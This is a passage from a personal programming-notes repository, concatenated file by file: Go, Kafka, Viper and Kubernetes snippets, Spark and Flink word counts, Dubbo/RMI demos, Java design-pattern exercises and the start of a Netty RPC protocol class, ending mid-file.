-------------------------------------------------------------------------------- 1 | package main 2 | 3 | func main() { 4 | 5 | } 6 | -------------------------------------------------------------------------------- /golang/tool-library/k8s-client/namespace.go: -------------------------------------------------------------------------------- 1 | package k8s_client 2 | 3 | type Namespace struct { 4 | } 5 | -------------------------------------------------------------------------------- /golang/tool-library/k8s-client/resource.go: -------------------------------------------------------------------------------- 1 | package k8s_client 2 | 3 | type Resource interface { 4 | } 5 | -------------------------------------------------------------------------------- /golang/tool-library/k8s-client/resource/nginx.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Pod 3 | metadata: 4 | name: nginx-pod 5 | spec: 6 | containers: 7 | - name: nginx-pod 8 | image: nginx:stable-alpine3.17-slim 9 | imagePullPolicy: IfNotPresent 10 | livenessProbe: 11 | httpGet: 12 | port: 80 13 | path: /index.html 14 | scheme: HTTP 15 | initialDelaySeconds: 5 16 | timeoutSeconds: 2 17 | periodSeconds: 5 18 | successThreshold: 1 19 | failureThreshold: 3 20 | readinessProbe: 21 | httpGet: 22 | port: 80 23 | path: /index.html 24 | scheme: HTTP 25 | initialDelaySeconds: 5 26 | timeoutSeconds: 2 27 | periodSeconds: 5 28 | successThreshold: 1 29 | failureThreshold: 3 -------------------------------------------------------------------------------- /golang/tool-library/sarama/producer/sarama_producer.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "github.com/Shopify/sarama" 6 | ) 7 | 8 | // 使用 sarama 向 kafka 发送数据 9 | func main() { 10 | // 1. 设置 sarama 配置 11 | config := sarama.NewConfig() 12 | // 设置 ACK 确认 13 | config.Producer.RequiredAcks = sarama.WaitForAll 14 | // 设置 partition 选择方式 15 | config.Producer.Partitioner = sarama.NewRandomPartitioner 16 | // 成功发送的消息返回在 Success Channel 中 17 | config.Producer.Return.Successes = true 18 | 19 | // 2. 构建消息 20 | message := &sarama.ProducerMessage{ 21 | Topic: "test", 22 | Value: sarama.StringEncoder("This is test log"), 23 | } 24 | 25 | // 3. 连接 Kafka 服务端 26 | producer, err := sarama.NewSyncProducer([]string{"node-1:9092"}, config) 27 | defer producer.Close() 28 | if err != nil { 29 | fmt.Println("连接 Kafka 失败, err: ", err) 30 | return 31 | } 32 | 33 | // 4. 发送消息 34 | partition, offset, err := producer.SendMessage(message) 35 | if err != nil { 36 | fmt.Println("发送消息失败, err: ", err) 37 | return 38 | } 39 | fmt.Printf("partition: %v, offset: %v\n", partition, offset) 40 | } 41 | -------------------------------------------------------------------------------- /golang/tool-library/viper/conf/conf.go: -------------------------------------------------------------------------------- 1 | package conf 2 | 3 | import ( 4 | "fmt" 5 | "github.com/spf13/viper" 6 | ) 7 | 8 | var ( 9 | ServerConf = &server{ 10 | Address: "127.0.0.1", 11 | Port: 8080, 12 | } 13 | ) 14 | 15 | func init() { 16 | viper.AddConfigPath("conf") 17 | viper.SetConfigName("config") 18 | viper.SetConfigType("yaml") 19 | 20 | // 查找并读取配置文件 21 | if err := viper.ReadInConfig(); err != nil { 22 | if _, ok := err.(viper.ConfigFileNotFoundError); ok { 23 | panic(fmt.Errorf("配置文件未找到:%s\n", err)) 24 | } else { 25 | panic(fmt.Errorf("读取配置文件错误:%s\n", err)) 26 | } 27 | } 28 | unmarshalKey("server", &ServerConf) 29 | } 30 | 31 | // 解析映射配置文件 32 | func unmarshalKey(key string, conf interface{}) { 33 | if err := viper.UnmarshalKey(key, conf); err != nil { 34 | panic(fmt.Errorf("解析 %s 配置映射失败: %s\n", key, err)) 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /golang/tool-library/viper/conf/config.yml: -------------------------------------------------------------------------------- 1 | server: 2 | address: 127.0.0.1 3 | port: 3001 4 | enable: true -------------------------------------------------------------------------------- /golang/tool-library/viper/conf/setting.go: -------------------------------------------------------------------------------- 1 | package conf 2 | 3 | type server struct { 4 | Address string 5 | Port int 6 | } 7 | -------------------------------------------------------------------------------- /golang/tool-library/viper/viper_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/SilenceHVK/blog/golang/tool-library/viper/conf" 5 | "testing" 6 | ) 7 | 8 | func TestPrintConfig(t *testing.T) { 9 | t.Log(conf.ServerConf) 10 | } 11 | -------------------------------------------------------------------------------- /java/bigdata/src/main/java/me/hvkcoder/parquet/User.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.parquet; 2 | 3 | import lombok.AllArgsConstructor; 4 | import lombok.Data; 5 | import lombok.ToString; 6 | 7 | /** 8 | * @author h_vk 9 | * @since 2021/9/14 10 | */ 11 | @Data 12 | @ToString 13 | @AllArgsConstructor 14 | public class User { 15 | private String id; 16 | private String name; 17 | private Integer age; 18 | } 19 | -------------------------------------------------------------------------------- /java/bigdata/src/main/resources/core-site.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | fs.defaultFS 7 | 8 | hdfs://hadoop-cluster 9 | 10 | 11 | ha.zookeeper.quorum 12 | node-1:2181,node-2:2181,node-3:2181 13 | 14 | 15 | hadoop.tmp.dir 16 | /home/h_vk/var/hadoop 17 | 18 | 19 | -------------------------------------------------------------------------------- /java/bigdata/src/main/resources/data.txt: -------------------------------------------------------------------------------- 1 | hello spark 2 | hello java 3 | spark hadoop 4 | flink java 5 | golang spark -------------------------------------------------------------------------------- /java/bigdata/src/main/resources/kerberos/zk-cli-jaas.conf: -------------------------------------------------------------------------------- 1 | Client { 2 | com.sun.security.auth.module.Krb5LoginModule required 3 | useKeyTab=true 4 | keyTab="/Users/h_vk/Downloads/tmp/keytabs/zookeeper.cli.keytab" 5 | storeKey=true 6 | useTicketCache=false 7 | principal="zookeeper/cli@HADOOP.COM"; 8 | }; -------------------------------------------------------------------------------- /java/bigdata/src/main/scala/me/hvkcoder/flink/BatchWordCountScala.scala: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.flink 2 | 3 | import org.apache.flink.api.scala.{ExecutionEnvironment, createTypeInformation} 4 | 5 | object BatchWordCountScala { 6 | def main(args: Array[String]): Unit = { 7 | // 获取上下文 8 | val env = ExecutionEnvironment.getExecutionEnvironment 9 | // 创建数据源 Source 10 | val fileSource = env.readTextFile(ClassLoader.getSystemResource("data.txt").getPath) 11 | // 对数据源进行 Transformation 12 | fileSource.flatMap(_.split(" ")).map((_, 1)).groupBy(0).sum(1).print() 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /java/bigdata/src/main/scala/me/hvkcoder/flink/StreamingWordCountScala.scala: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.flink 2 | 3 | import org.apache.flink.api.scala.createTypeInformation 4 | import org.apache.flink.streaming.api.scala.StreamExecutionEnvironment 5 | 6 | object StreamingWordCountScala { 7 | def main(args: Array[String]): Unit = { 8 | // 获取上下文 9 | val env = StreamExecutionEnvironment.getExecutionEnvironment 10 | // 创建数据源 Source 11 | val socketSource = env.socketTextStream("localhost", 9999) 12 | // 对数据源进行 Transformation 13 | socketSource.flatMap(_.split(" ")).map((_, 1)).keyBy(0).sum(1).print() 14 | env.execute("StreamingWorkCountFlink") 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /java/bigdata/src/main/scala/me/hvkcoder/spark/core/RDD_Create_Memory.scala: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spark.core 2 | 3 | import org.apache.spark.{SparkConf, SparkContext} 4 | 5 | object RDD_Create_Memory { 6 | def main(args: Array[String]): Unit = { 7 | val sparkConf = new SparkConf().setMaster("local[*]").setAppName("RDD_Create_Memory") 8 | val sc = new SparkContext(sparkConf) 9 | 10 | // 从内存中创建 RDD,将内存中的集合作为要处理的数据源 11 | sc.parallelize(Seq[Int](1,2,3,4)).foreach(println) 12 | // 跟 parallelize 一样 13 | sc.makeRDD(Seq[Int](1,2,3,4)).foreach(println) 14 | 15 | // 从文件中创建 RDD,将文件中的数据作为要处理的数据源 16 | val fileRDD = sc.textFile(f"file://${ClassLoader.getSystemResource("data.txt").getPath}") 17 | println(fileRDD.count()) 18 | 19 | sc.stop() 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /java/bigdata/src/main/scala/me/hvkcoder/spark/core/RDD_Create_Partition.scala: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spark.core 2 | 3 | import org.apache.spark.{SparkConf, SparkContext} 4 | 5 | object RDD_Create_Partition { 6 | def main(args: Array[String]): Unit = { 7 | val sparkCon = new SparkConf().setMaster("local[*]").setAppName("RDD_Create_Partition") 8 | sparkCon.set("spark.default.parallelism", "5") 9 | val sc = new SparkContext(sparkCon) 10 | 11 | // 设置分区为 2,默认值分区为 8,值是从 spark.default.parallelism 获取的,并按分区存储文件 12 | sc.makeRDD(List(1, 2, 3, 4), 2).saveAsTextFile("test-output") 13 | 14 | sc.stop() 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /java/bigdata/src/main/scala/me/hvkcoder/spark/core/WordCountScala.scala: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spark.core 2 | 3 | import org.apache.spark.{SparkConf, SparkContext} 4 | 5 | object WordCountScala { 6 | def main(args: Array[String]): Unit = { 7 | val sparkConf = new SparkConf() 8 | sparkConf.setAppName("WorkCount") 9 | sparkConf.setMaster("local") // 设置单机本地运行 10 | 11 | val sparkContext = new SparkContext(sparkConf) 12 | val textRdd = sparkContext.textFile(ClassLoader.getSystemResource("data.txt").getPath) 13 | val result = textRdd.flatMap(_.split(" ")).map((_, 1)).reduceByKey((oldValue, value) => oldValue + value) 14 | result.foreach(println) 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /java/build.gradle: -------------------------------------------------------------------------------- 1 | allprojects { 2 | group 'me.hvkcoder' 3 | version '1.0-SNAPSHOT' 4 | } 5 | 6 | subprojects { 7 | apply plugin: 'java' 8 | sourceCompatibility = 17 9 | 10 | repositories { 11 | maven { url 'https://maven.aliyun.com/repository/public/' } 12 | mavenCentral() 13 | } 14 | 15 | dependencies { 16 | implementation 'junit:junit:4.12' 17 | 18 | // https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 19 | implementation group: 'org.apache.commons', name: 'commons-lang3', version: '3.9' 20 | implementation group: 'cn.hutool', name: 'hutool-all', version: '5.3.10' 21 | 22 | // https://mvnrepository.com/artifact/org.projectlombok/lombok 23 | compileOnly "org.projectlombok:lombok:1.18.22" 24 | annotationProcessor "org.projectlombok:lombok:1.18.22" 25 | 26 | // 日志输出 27 | implementation group: 'org.slf4j', name: 'slf4j-api', version: '1.7.10' 28 | implementation group: 'ch.qos.logback', name: 'logback-classic', version: '1.2.3' 29 | } 30 | } 31 | 32 | buildscript { 33 | repositories { 34 | maven { url 'http://maven.aliyun.com/nexus/content/groups/public/' } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /java/dubbo/common/build.gradle: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/java/dubbo/common/build.gradle -------------------------------------------------------------------------------- /java/dubbo/common/src/main/java/me/hvkcoder/dubbo/common/service/GreetingsService.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.dubbo.common.service; 2 | 3 | import java.rmi.Remote; 4 | import java.rmi.RemoteException; 5 | 6 | /** 7 | * Java 的 RMI 规定接口必须派生 Remote ,并且每个方法必须抛出 RemoteException 8 | * 9 | * @author h_vk 10 | * @since 2021/8/11 11 | */ 12 | public interface GreetingsService extends Remote { 13 | String sayHi(String name) throws RemoteException; 14 | } 15 | -------------------------------------------------------------------------------- /java/dubbo/common/src/main/java/me/hvkcoder/dubbo/common/service/impl/GreetingsServiceImpl.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.dubbo.common.service.impl; 2 | 3 | import me.hvkcoder.dubbo.common.service.GreetingsService; 4 | import org.apache.dubbo.config.annotation.DubboService; 5 | 6 | /** 7 | * @author h_vk 8 | * @since 2021/8/11 9 | */ 10 | @DubboService(version = "${spring.application.service.version}", timeout = 1000, interfaceClass = GreetingsService.class) 11 | public class GreetingsServiceImpl implements GreetingsService { 12 | @Override 13 | public String sayHi(String name) { 14 | return "hi, " + name; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /java/dubbo/consumer/build.gradle: -------------------------------------------------------------------------------- 1 | dependencies { 2 | implementation project(":dubbo:common") 3 | } -------------------------------------------------------------------------------- /java/dubbo/consumer/src/main/java/me/hvkcoder/dubbo/consumer/DubboConsumerApplication.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.dubbo.consumer; 2 | 3 | import org.apache.dubbo.config.spring.context.annotation.DubboComponentScan; 4 | import org.springframework.boot.SpringApplication; 5 | import org.springframework.boot.autoconfigure.SpringBootApplication; 6 | 7 | /** 8 | * Spring boot + Dubbo 实现服务消费者 9 | * 10 | * @author h_vk 11 | * @since 2021/8/11 12 | */ 13 | @DubboComponentScan 14 | @SpringBootApplication 15 | public class DubboConsumerApplication { 16 | public static void main(String[] args) { 17 | SpringApplication.run(DubboConsumerApplication.class, args); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /java/dubbo/consumer/src/main/java/me/hvkcoder/dubbo/consumer/RMIConsumer.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.dubbo.consumer; 2 | 3 | import lombok.extern.slf4j.Slf4j; 4 | import me.hvkcoder.dubbo.common.service.GreetingsService; 5 | 6 | import java.rmi.NotBoundException; 7 | import java.rmi.RemoteException; 8 | import java.rmi.registry.LocateRegistry; 9 | import java.rmi.registry.Registry; 10 | 11 | /** 12 | * 使用 RMI 实现服务远程调用 13 | * 14 | * @author h_vk 15 | * @since 2021/8/11 16 | */ 17 | @Slf4j 18 | public class RMIConsumer { 19 | public static void main(String[] args) throws RemoteException, NotBoundException { 20 | // 获取注册中心 21 | final Registry registry = LocateRegistry.getRegistry(9999); 22 | // 通过服务名获取远程实例 23 | final GreetingsService greeting = (GreetingsService) registry.lookup("greeting"); 24 | log.info(greeting.sayHi("RMI")); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /java/dubbo/consumer/src/main/java/me/hvkcoder/dubbo/consumer/controller/TestController.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.dubbo.consumer.controller; 2 | 3 | import me.hvkcoder.dubbo.common.service.GreetingsService; 4 | import org.apache.dubbo.config.annotation.DubboReference; 5 | import org.springframework.web.bind.annotation.GetMapping; 6 | import org.springframework.web.bind.annotation.PathVariable; 7 | import org.springframework.web.bind.annotation.RequestMapping; 8 | import org.springframework.web.bind.annotation.RestController; 9 | 10 | import java.rmi.RemoteException; 11 | 12 | /** 13 | * @author h_vk 14 | * @since 2021/8/12 15 | */ 16 | @RestController 17 | @RequestMapping("/test") 18 | public class TestController { 19 | 20 | @DubboReference(version = "${spring.application.service.version}") 21 | private GreetingsService greetingsService; 22 | 23 | @GetMapping("/sayHi/{name}") 24 | public String sayHi(@PathVariable("name") String name) throws RemoteException { 25 | return greetingsService.sayHi(name); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /java/dubbo/consumer/src/main/resources/application.yml: -------------------------------------------------------------------------------- 1 | server: 2 | port: 9010 3 | spring: 4 | application: 5 | name: dubbo-consumer 6 | service: 7 | version: 1.0.0 8 | ######################## 9 | # Dubbo 服务配置 10 | ######################## 11 | dubbo: 12 | registry: 13 | address: zookeeper://k8s-180:30181/dubbo -------------------------------------------------------------------------------- /java/dubbo/provider/build.gradle: -------------------------------------------------------------------------------- 1 | dependencies { 2 | implementation project(":dubbo:common") 3 | } -------------------------------------------------------------------------------- /java/dubbo/provider/src/main/java/me/hvkcoder/dubbo/provider/DubboProviderApplication.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.dubbo.provider; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | /** 7 | * Spring boot + Dubbo 实现服务提供者 8 | * 9 | * @author h_vk 10 | * @since 2021/8/11 11 | */ 12 | @SpringBootApplication 13 | public class DubboProviderApplication { 14 | public static void main(String[] args) { 15 | SpringApplication.run(DubboProviderApplication.class, args); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /java/dubbo/provider/src/main/java/me/hvkcoder/dubbo/provider/RMIProvider.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.dubbo.provider; 2 | 3 | import lombok.extern.slf4j.Slf4j; 4 | import me.hvkcoder.dubbo.common.service.GreetingsService; 5 | import me.hvkcoder.dubbo.common.service.impl.GreetingsServiceImpl; 6 | 7 | import java.rmi.RemoteException; 8 | import java.rmi.registry.LocateRegistry; 9 | import java.rmi.registry.Registry; 10 | import java.rmi.server.UnicastRemoteObject; 11 | 12 | /** 13 | * 使用 RMI 实现服务远程暴露 14 | * 15 | * @author h_vk 16 | * @since 2021/8/11 17 | */ 18 | @Slf4j 19 | public class RMIProvider { 20 | public static void main(String[] args) throws RemoteException { 21 | // 实例要暴露的远程服务 22 | final GreetingsService greetingsService = new GreetingsServiceImpl(); 23 | // 开启本地服务 24 | final GreetingsService exportObject = (GreetingsService) UnicastRemoteObject.exportObject(greetingsService, 6666); 25 | // 创建注册中心 26 | final Registry registry = LocateRegistry.createRegistry(9999); 27 | // 绑定远程服务 28 | registry.rebind("greeting", exportObject); 29 | log.info("service started..."); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /java/dubbo/provider/src/main/resources/application.yml: -------------------------------------------------------------------------------- 1 | server: 2 | port: 9000 3 | spring: 4 | application: 5 | name: dubbo-provider 6 | service: 7 | version: 1.0.0 8 | ######################## 9 | # Dubbo 服务配置 10 | ######################## 11 | dubbo: 12 | scan: 13 | base-packages: me.hvkcoder.dubbo.common.service 14 | protocol: 15 | name: dubbo 16 | port: 6666 17 | registry: 18 | address: zookeeper://k8s-180:30181/dubbo -------------------------------------------------------------------------------- /java/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/java/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /java/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Sun Jan 19 17:00:54 CST 2020 2 | distributionUrl=https\://services.gradle.org/distributions/gradle-5.2.1-all.zip 3 | distributionBase=GRADLE_USER_HOME 4 | distributionPath=wrapper/dists 5 | zipStorePath=wrapper/dists 6 | zipStoreBase=GRADLE_USER_HOME 7 | -------------------------------------------------------------------------------- /java/java-basic/build.gradle: -------------------------------------------------------------------------------- 1 | sourceCompatibility = 17 2 | 3 | dependencies { 4 | implementation 'io.netty:netty-all:4.1.75.Final' 5 | implementation 'org.springframework:spring-aop:5.3.17' 6 | implementation 'commons-net:commons-net:3.8.0' 7 | 8 | // Validation 依赖 9 | implementation 'javax.validation:validation-api:2.0.1.Final' 10 | implementation 'org.hibernate.validator:hibernate-validator:6.2.0.Final' 11 | implementation 'javax.el:javax.el-api:3.0.0' 12 | implementation 'org.glassfish:javax.el:3.0.0' 13 | 14 | // protobuf 15 | implementation 'com.google.protobuf:protobuf-java:3.25.2' 16 | implementation 'com.google.protobuf:protobuf-java-util:3.25.2' 17 | 18 | // docker-java 19 | implementation 'com.github.docker-java:docker-java:3.3.6' 20 | } 21 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/algorithm/Transform2Binary.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.algorithm; 2 | 3 | /** 4 | * 转换为二进制 5 | * 6 | * @author h_vk 7 | * @since 2022/4/25 8 | */ 9 | public class Transform2Binary { 10 | private static void printBinary(int num) { 11 | for (int i = 31; i >= 0; i--) { 12 | System.out.print((num & (1 << i)) == 0 ? "0" : "1"); 13 | } 14 | System.out.println(); 15 | } 16 | 17 | public static void main(String[] args) { 18 | int num = Integer.MAX_VALUE; 19 | printBinary(num); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/data_struct/base/_Iterator.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.data_struct.base; 2 | 3 | /** 4 | * @author h-vk 5 | * @since 2020/11/30 6 | */ 7 | public interface _Iterator { 8 | /** 9 | * 是否包含下一个元素 10 | * 11 | * @return 12 | */ 13 | boolean hasNext(); 14 | 15 | /** 16 | * 获取元素 17 | * 18 | * @return 19 | */ 20 | E next(); 21 | 22 | } 23 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/desgin_patterns/creational/singleton/SingletonEH.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.desgin_patterns.creational.singleton; 2 | 3 | /** 4 | * 单例模式饿汉式 5 | *

6 | * 类加载到内存后,就实例化一个单例,JVM保证线程安全,容易造成资源浪费 7 | * 8 | * @author h-vk 9 | * @since 2020-02-07 10 | */ 11 | public class SingletonEH { 12 | 13 | private static final SingletonEH INSTANCE = new SingletonEH(); 14 | 15 | private SingletonEH() { 16 | } 17 | 18 | public static SingletonEH getInstance() { 19 | return INSTANCE; 20 | } 21 | 22 | public static void main(String[] args) { 23 | // 单例模式饿汉式 24 | SingletonEH instanceEH_1 = SingletonEH.getInstance(); 25 | SingletonEH instanceEH_2 = SingletonEH.getInstance(); 26 | System.out.println(instanceEH_1 == instanceEH_2); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/desgin_patterns/creational/singleton/SingletonEnum.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.desgin_patterns.creational.singleton; 2 | 3 | /** 4 | * 单例模式枚举方式 5 | *

6 | * 不仅可以解决线程同步,还可以防止反序列 7 | * 8 | * @author h-vk 9 | * @since 2020-02-10 10 | */ 11 | public enum SingletonEnum { 12 | 13 | INSTANCE; 14 | 15 | public static void main(String[] args) { 16 | for (int i = 0; i < 100; i++) { 17 | new Thread(() -> System.out.println(SingletonEnum.INSTANCE.hashCode())).start(); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/desgin_patterns/creational/singleton/SingletonInnerClass.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.desgin_patterns.creational.singleton; 2 | 3 | /** 4 | * 静态内部类方式 5 | *

6 | * JVM 保证单例,加载外部类时不会加载内部类,这样可以实现懒加载 7 | * 8 | * @author h-vk 9 | * @since 2020-02-10 10 | */ 11 | public class SingletonInnerClass { 12 | private SingletonInnerClass() { 13 | } 14 | 15 | public static SingletonInnerClass getInstance() { 16 | return SingletonInnerClassHolder.INSTANCE; 17 | } 18 | 19 | public static void main(String[] args) { 20 | for (int i = 0; i < 100; i++) { 21 | new Thread(() -> System.out.println(SingletonInnerClass.getInstance())).start(); 22 | } 23 | } 24 | 25 | private static class SingletonInnerClassHolder { 26 | public static final SingletonInnerClass INSTANCE = new SingletonInnerClass(); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/desgin_patterns/creational/singleton/SingletonLH.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.desgin_patterns.creational.singleton; 2 | 3 | /** 4 | * 单例模式 懒汉式 5 | *

6 | * 通过双重检查 + 代码块上锁,解决多线程获得的对象不是同一对象问题 7 | * 8 | * @author h-vk 9 | * @since 2020-02-10 10 | */ 11 | public class SingletonLH { 12 | private static volatile SingletonLH INSTANCE; 13 | 14 | private SingletonLH() { 15 | } 16 | 17 | public static SingletonLH getInstance() { 18 | // 双重检查 19 | if (INSTANCE == null) { 20 | // 减小同步代码块 21 | synchronized (SingletonLH.class) { 22 | if (INSTANCE == null) { 23 | try { 24 | Thread.sleep(1); 25 | } catch (InterruptedException e) { 26 | e.printStackTrace(); 27 | } 28 | INSTANCE = new SingletonLH(); 29 | } 30 | } 31 | } 32 | return INSTANCE; 33 | } 34 | 35 | public static void main(String[] args) { 36 | for (int i = 0; i < 100; i++) { 37 | new Thread(() -> System.out.println(SingletonLH.getInstance())).start(); 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/desgin_patterns/creational/singleton/SingletonLazyLoading.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.desgin_patterns.creational.singleton; 2 | 3 | /** 4 | * 单例模式懒汉式 5 | *

6 | * 多线程访问时会出现问题,可以通过加入 synchronized 关键字加锁解决该问题,但带来了效率下降 7 | * 8 | * @author h-vk 9 | * @since 2020-02-10 10 | */ 11 | public class SingletonLazyLoading { 12 | private static volatile SingletonLazyLoading INSTANCE; 13 | 14 | private SingletonLazyLoading() { 15 | } 16 | 17 | public static synchronized SingletonLazyLoading getInstance() { 18 | if (INSTANCE == null) { 19 | try { 20 | Thread.sleep(100); 21 | } catch (InterruptedException e) { 22 | e.printStackTrace(); 23 | } 24 | INSTANCE = new SingletonLazyLoading(); 25 | } 26 | return INSTANCE; 27 | } 28 | 29 | public static void main(String[] args) { 30 | // 单例模式懒汉式 31 | for (int i = 0; i < 100; i++) { 32 | new Thread(() -> System.out.println(SingletonLazyLoading.getInstance())).start(); 33 | } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/desgin_patterns/creational/singleton/practice/TicketMaker.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.desgin_patterns.creational.singleton.practice; 2 | 3 | /** 4 | * 习题 1 每次调用 getNextTicketNumber 方法都会返回 1000、1001、1002....的数列 5 | * 6 | *

使用双检锁的方式解决 7 | * 8 | * @author h-vk 9 | * @since 2020/5/30 10 | */ 11 | public class TicketMaker { 12 | private static volatile TicketMaker INSTANCE; 13 | private int ticket = 1000; 14 | 15 | private TicketMaker() {} 16 | 17 | public static TicketMaker getInstance() { 18 | if (INSTANCE == null) { 19 | synchronized (TicketMaker.class) { 20 | if (INSTANCE == null) INSTANCE = new TicketMaker(); 21 | } 22 | } 23 | return INSTANCE; 24 | } 25 | 26 | public static void main(String[] args) { 27 | for (int i = 0; i < 100; i++) { 28 | new Thread(() -> System.out.println(TicketMaker.getInstance().getNextTicketNumber())).start(); 29 | } 30 | } 31 | 32 | public int getNextTicketNumber() { 33 | return ticket++; 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/desgin_patterns/structural/decorator/Decorator.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.desgin_patterns.structural.decorator; 2 | 3 | /** 4 | * 装饰器 5 | * 6 | * @author h-vk 7 | * @since 2020/6/28 8 | */ 9 | public abstract class Decorator implements Drink { 10 | private Drink drink; 11 | 12 | public Decorator(Drink drink) { 13 | this.drink = drink; 14 | } 15 | 16 | @Override 17 | public double money() { 18 | return drink.money(); 19 | } 20 | 21 | @Override 22 | public String desc() { 23 | return drink.desc(); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/desgin_patterns/structural/decorator/Drink.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.desgin_patterns.structural.decorator; 2 | 3 | /** 4 | * 抽象组件 5 | * 6 | * @author h-vk 7 | * @since 2020/6/28 8 | */ 9 | public interface Drink { 10 | public double money(); 11 | 12 | public String desc(); 13 | } 14 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/desgin_patterns/structural/decorator/Main.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.desgin_patterns.structural.decorator; 2 | 3 | /** 4 | * @author h-vk 5 | * @since 2020/6/28 6 | */ 7 | public class Main { 8 | public static void main(String[] args) { 9 | Drink redBeanSoya = new RedBean(new Soya()); 10 | System.out.println(redBeanSoya.desc()); 11 | System.out.println(redBeanSoya.money()); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/desgin_patterns/structural/decorator/RedBean.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.desgin_patterns.structural.decorator; 2 | 3 | /** 4 | * 具体装饰 5 | * 6 | * @author h-vk 7 | * @since 2020/6/28 8 | */ 9 | public class RedBean extends Decorator { 10 | public RedBean(Drink drink) { 11 | super(drink); 12 | } 13 | 14 | @Override 15 | public double money() { 16 | return super.money() + 3.2; 17 | } 18 | 19 | @Override 20 | public String desc() { 21 | return super.desc() + "红豆"; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/desgin_patterns/structural/decorator/Soya.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.desgin_patterns.structural.decorator; 2 | 3 | /** 4 | * 被装饰者 5 | * 6 | * @author h-vk 7 | * @since 2020/6/28 8 | */ 9 | public class Soya implements Drink { 10 | @Override 11 | public double money() { 12 | return 5; 13 | } 14 | 15 | @Override 16 | public String desc() { 17 | return "纯豆浆"; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/io/netty/custom/codec/InvokerProtocol.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.io.netty.custom.codec; 2 | 3 | import lombok.Data; 4 | 5 | import java.io.Serial; 6 | import java.io.Serializable; 7 | 8 | /** 9 | * @author h_vk 10 | * @since 2024/3/29 11 | */ 12 | @Data 13 | public class InvokerProtocol implements Serializable { 14 | @Serial 15 | private static final long serialVersionUID = -3113587718295415460L; 16 | 17 | /** 18 | * 类名 19 | */ 20 | private String className; 21 | 22 | /** 23 | * 方法名 24 | */ 25 | private String methodName; 26 | 27 | /** 28 | * 参数类型 29 | */ 30 | private Class[] params; 31 | 32 | /** 33 | * 